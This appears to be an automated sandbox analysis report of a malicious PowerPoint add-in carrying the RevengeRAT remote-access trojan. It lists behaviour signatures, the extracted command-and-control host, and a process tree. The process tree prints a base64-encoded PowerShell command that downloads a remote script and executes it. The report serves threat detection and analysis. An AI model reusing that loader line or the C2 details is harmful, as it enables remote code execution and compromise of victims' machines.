Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
- submitted
23/04/2023, 09:36
General
- Target Boleto-200230-1988-master.ppam
- Size 13KB
- Sample230423-lk8flscf22
- SHA256 2e07606a2d33855138f2430c5aab7e1894e0e75efd2ab1b39ac76256614ca462
Malware Config
Extracted
-
revengerat
-
NyanCatRevenge
-
b2b.ddns.com.br:5222
-
d9261ef3301b4b86a95
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Blocklisted process makes network request 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Boleto-200230-1988-master.ppam" /ou ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADMAOAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8ANQAtAGgAZQBUAGYAMwBEAC8ARgBhAGMAawAuAGoAcABnAD8AZABzAGkAZAA9AEkANQBQAGEAQQBhAEoAYgAuAGIANQBhAGUANgAzAGIAMAAxADUAMQBhAGIAZgAyAGUAMgA0AGUANwBhAGMAMABjAGUANAA5ADQAZQAzADUANQAmAHMAYgBzAHIAPQBhADQAZABjAGMAOQBkAGMAMAA4ADUAMgA1ADYAYQA1AGMAZABlAGIAOQAxADMAMAA4ADkAZgBmAGQAYQA3AGEAYQBkAGMAJgBiAGkAcAA9AE0AagBBAHgATABqAEkAdwBMAGoARQB5AE4AeQA0AHkATQBUAEkAJgBsAGcAZgBwAD0ANAAwAA0ACgAnACkAOwAgAA0ACgBVAEEAYwBMAEYAVABOAEkAYgBJAEYAVgBYAGMAdABlAEkAUwBWAE0AVgBoAFAAaQBlAHIASgBGAEkAYQBBAE0AUABzAEYATgBYAEcAVwBEAHcATQBEAFoAdgByAE8ARgBjAEwAdABBAFgAcgBNAHYAawBVAEgAdwANAAoA""2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_eijoltft.t5i.ps1
memory/1636-195-0x000001C68C1D0000-0x000001C68C20B000-memory.dmp
memory/1636-135-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp
memory/1636-136-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp
memory/1636-137-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp
memory/1636-209-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp
memory/1636-139-0x00007FFD0F6D0000-0x00007FFD0F6E0000-memory.dmp
memory/1636-134-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp
memory/1636-208-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp
memory/1636-207-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp
memory/1636-133-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp
memory/1636-138-0x00007FFD0F6D0000-0x00007FFD0F6E0000-memory.dmp
memory/1636-206-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmp
memory/4052-194-0x0000000000410000-0x000000000041A000-memory.dmp
memory/4052-196-0x0000000005050000-0x00000000055F4000-memory.dmp
memory/4052-210-0x0000000004C20000-0x0000000004C30000-memory.dmp
memory/4052-202-0x0000000004C20000-0x0000000004C30000-memory.dmp
memory/4132-187-0x000001F8792D0000-0x000001F8792E8000-memory.dmp
memory/4132-189-0x000001F8792D0000-0x000001F8792E8000-memory.dmp
memory/4132-190-0x000001F8792F0000-0x000001F8792F1000-memory.dmp
memory/4132-179-0x000001F8792D0000-0x000001F8792E8000-memory.dmp
memory/4132-171-0x000001F8787A0000-0x000001F8787B0000-memory.dmp
memory/4132-178-0x000001F8792D0000-0x000001F8792E8000-memory.dmp
memory/4132-185-0x000001F8792D0000-0x000001F8792E8000-memory.dmp
memory/4132-181-0x000001F8792D0000-0x000001F8792E8000-memory.dmp
memory/4132-170-0x000001F8787A0000-0x000001F8787B0000-memory.dmp
memory/4132-165-0x000001F878E40000-0x000001F878E62000-memory.dmp
memory/4132-183-0x000001F8792D0000-0x000001F8792E8000-memory.dmp
memory/4132-172-0x000001F8787A0000-0x000001F8787B0000-memory.dmp